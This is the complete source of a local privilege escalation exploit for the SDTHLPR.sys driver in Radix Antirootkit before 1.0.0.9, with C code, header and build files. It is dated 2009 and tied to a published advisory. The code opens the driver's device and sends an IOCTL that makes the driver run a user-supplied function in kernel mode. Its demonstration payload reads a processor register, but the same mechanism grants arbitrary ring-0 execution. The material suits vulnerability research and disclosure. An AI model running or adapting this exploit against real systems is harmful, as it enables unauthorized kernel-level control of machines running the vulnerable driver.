| -------------------------SdtHelper_Exp.c---------------------------- ////////////////////////////////////////////////////////////////////////////////////// +----------------------------------------------------------------------------+ //
 // |                                                                            | //
 // | Usec.at - http://www.usec.at/                                              | //
 // |                                                                            | //
 // | Affected Software:                                                         | //
 // | Radix Antirootkit < 1.0.0.9                                                | //
 // |                                                                            | //
 // | Affected Driver:                                                           | //
 // | SDTHLPR.sys                                                                | //
 // |                                                                            | //
 // | Local Privilege Escalation Exploit                                         | //
 // | For Educational Purposes Only !                                            | //
 // |                                                                            | //
 // +----------------------------------------------------------------------------+ //
 // |                                                                            | //
 // | NT Internals - http://www.ntinternals.org/                                 | //
 // | alex ntinternals org                                                       | //
 // | 21 August 2009                                                             | //
 // |                                                                            | //
 // | References:                                                                | //
 // | Radix Antirootkit Multiple Privilege Escalation Vulnerabilities            | //
 // | NTIADV0903 - http://www.ntinternals.org/ntiadv0903/ntiadv0903.html         | //
 // |                                                                            | //
 // +----------------------------------------------------------------------------+ //
 ////////////////////////////////////////////////////////////////////////////////////
 #include <stdio.h>#include <stdlib.h>
 #include <windows.h>
 #include "SdtHelper_Exp.h"
 #define IOCTL_CALL_RING0 0x002240C0#define INPUT_BUFFER_LENGTH 0x08
 #define IA32_SYSENTER_EIP 0x176 ULONG Ia32SysenterEip; NTSTATUS Ring0ShellCode(ULONG Parameter1, ULONG Parameter2){
 __asm
 {
 mov ecx, IA32_SYSENTER_EIP
 sub edx, edx
 rdmsr
 mov Ia32SysenterEip, eax
 }
 
 return 0;
 }
 int __cdecl main(int argc, char **argv){
 NTSTATUS NtStatus;
 
 HANDLE DeviceHandle = NULL;
     UNICODE_STRING DeviceName;OBJECT_ATTRIBUTES ObjectAttributes;
 IO_STATUS_BLOCK IoStatusBlock;
 LARGE_INTEGER Interval;
 ULONG InputBuffer[2];
     ///////////////////////////////////////////////////////////////////////////////////////////////     system("cls");     printf( " +----------------------------------------------------------------------------+\n"" |                                                                            |\n"
 " | Usec.at - http://www.usec.at/                                              |\n"
 " |                                                                            |\n"
 " | Affected Software:                                                         |\n"
 " | Radix Antirootkit < 1.0.0.9                                                |\n"
 " |                                                                            |\n"
 " | Affected Driver:                                                           |\n"
 " | SDTHLPR.sys                                                                |\n"
 " |                                                                            |\n"
 " | Local Privilege Escalation Exploit                                         |\n"
 " | For Educational Purposes Only !                                            |\n"
 " |                                                                            |\n"
 " +----------------------------------------------------------------------------+\n"
 " |                                                                            |\n"
 " | NT Internals - http://www.ntinternals.org/                                 |\n"
 " | alex ntinternals org                                                       |\n"
 " | 21 August 2009                                                             |\n"
 " |                                                                            |\n"
 " | References:                                                                |\n"
 " | Radix Antirootkit Multiple Privilege Escalation Vulnerabilities            |\n"
 " | NTIADV0903 - http://www.ntinternals.org/ntiadv0903/ntiadv0903.html         |\n"
 " |                                                                            |\n"
 " +----------------------------------------------------------------------------+\n\n");
     ///////////////////////////////////////////////////////////////////////////////////////////////  RtlInitUnicodeString(&DeviceName, L"\\Device\\SdtHelper");  ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);ObjectAttributes.RootDirectory = NULL;
 ObjectAttributes.ObjectName = &DeviceName;
 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
 ObjectAttributes.SecurityDescriptor = NULL;
 ObjectAttributes.SecurityQualityOfService = NULL;
 printf(" [+] Waiting for Device Handle...\n\n");
 do
 {
 NtStatus = NtCreateFile(
 &DeviceHandle,                      // FileHandle
 FILE_READ_DATA | FILE_WRITE_DATA,   // DesiredAccess
 &ObjectAttributes,                  // ObjectAttributes
 &IoStatusBlock,                     // IoStatusBlock
 NULL,                               // AllocationSize OPTIONAL
 0,                                  // FileAttributes
 FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
 FILE_OPEN_IF,                       // CreateDisposition
 0,                                  // CreateOptions
 NULL,                               // EaBuffer OPTIONAL
 0);                                 // EaLength
   /*if(NtStatus)
 {
 printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);
 return NtStatus;
 }
 */
 }
 while (DeviceHandle == NULL);
 
 RtlFreeUnicodeString(&DeviceName);
  ///////////////////////////////////////////////////////////////////////////////////////////////  Interval.LowPart = 0xFF676980;Interval.HighPart = 0xFFFFFFFF;
     printf(" [+] 3");NtDelayExecution(FALSE, &Interval);
 
 printf(" 2");
 NtDelayExecution(FALSE, &Interval);
     printf(" 1");NtDelayExecution(FALSE, &Interval);
     printf(" Hoop...\n\n");NtDelayExecution(FALSE, &Interval);
 InputBuffer[0] = (ULONG)Ring0ShellCode;
 InputBuffer[1] = 0;
 NtStatus = NtDeviceIoControlFile(
 DeviceHandle,
 NULL,
 NULL,
 NULL,
 &IoStatusBlock,
 IOCTL_CALL_RING0,
 InputBuffer,
 INPUT_BUFFER_LENGTH,
 NULL,
 0);
 
 if(NtStatus)
 {
 printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
 return NtStatus;
 }
     printf(" [+] IA32_SYSENTER_EIP (0x176) - 0x%.8X\n", Ia32SysenterEip); NtStatus = NtClose(DeviceHandle);
     if(NtStatus){
 printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);
 return NtStatus;
 }
     return FALSE;}
 ----------------------------SdtHelper_Exp.h--------------------------------------- #define IMP_VOID __declspec(dllimport) VOID __stdcall#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall
 #define OBJ_CASE_INSENSITIVE 0x00000040#define FILE_OPEN_IF 0x00000003
 typedef ULONG NTSTATUS; typedef struct _UNICODE_STRING {
 /* 0x00 */ USHORT Length;
 /* 0x02 */ USHORT MaximumLength;
 /* 0x04 */ PWSTR Buffer;
 /* 0x08 */
 }
 UNICODE_STRING,
 *PUNICODE_STRING,
 **PPUNICODE_STRING;
 typedef struct _OBJECT_ATTRIBUTES{
 /* 0x00 */ ULONG Length;
 /* 0x04 */ HANDLE RootDirectory;
 /* 0x08 */ PUNICODE_STRING ObjectName;
 /* 0x0C */ ULONG Attributes;
 /* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
 /* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
 /* 0x18 */
 }
 OBJECT_ATTRIBUTES,
 *POBJECT_ATTRIBUTES,
 **PPOBJECT_ATTRIBUTES;
 typedef struct _IO_STATUS_BLOCK{
 union
 {
 /* 0x00 */ NTSTATUS Status;
 /* 0x00 */ PVOID Pointer;
 };
     /* 0x04 */ ULONG Information;/* 0x08 */
 }
 IO_STATUS_BLOCK,
 *PIO_STATUS_BLOCK,
 **PPIO_STATUS_BLOCK;
 typedef VOID (NTAPI *PIO_APC_ROUTINE)(
 IN PVOID ApcContext,
 IN PIO_STATUS_BLOCK IoStatusBlock,
 IN ULONG Reserved
 );
 IMP_VOID RtlInitUnicodeString(
 IN OUT PUNICODE_STRING DestinationString,
 IN PCWSTR SourceString
 );
 IMP_VOID RtlFreeUnicodeString(
 IN PUNICODE_STRING UnicodeString
 );
 IMP_SYSCALL NtCreateFile(
 OUT PHANDLE FileHandle,
 IN ACCESS_MASK DesiredAccess,
 IN POBJECT_ATTRIBUTES ObjectAttributes,
 OUT PIO_STATUS_BLOCK IoStatusBlock,
 IN PLARGE_INTEGER AllocationSize OPTIONAL,
 IN ULONG FileAttributes,
 IN ULONG ShareAccess,
 IN ULONG CreateDisposition,
 IN ULONG CreateOptions,
 IN PVOID EaBuffer OPTIONAL,
 IN ULONG EaLength
 );
 IMP_SYSCALL NtDeviceIoControlFile(
 IN HANDLE FileHandle,
 IN HANDLE Event OPTIONAL,
 IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
 IN PVOID ApcContext OPTIONAL,
 OUT PIO_STATUS_BLOCK IoStatusBlock,
 IN ULONG IoControlCode,
 IN PVOID InputBuffer OPTIONAL,
 IN ULONG InputBufferLength,
 OUT PVOID OutputBuffer OPTIONAL,
 IN ULONG OutputBufferLength
 );
 IMP_SYSCALL NtDelayExecution(
 IN BOOLEAN Alertable,
 IN PLARGE_INTEGER Interval
 );
 IMP_SYSCALL NtClose(
 IN HANDLE Handle
 );
 --------------------------------------sources---------------------------------------- TARGETNAME=SdtHelper_ExpTARGETPATH=obj
 TARGETTYPE=PROGRAM
 SOURCES=SdtHelper_Exp.c
 UMTYPE=console
 UMBASE=0x00400000
 TARGETLIBS=$(DDK_LIB_PATH)\ntdll.lib
 ----------------------------------------makefile------------------------------- !INCLUDE $(NTMAKEENV)\makefile.def   
 |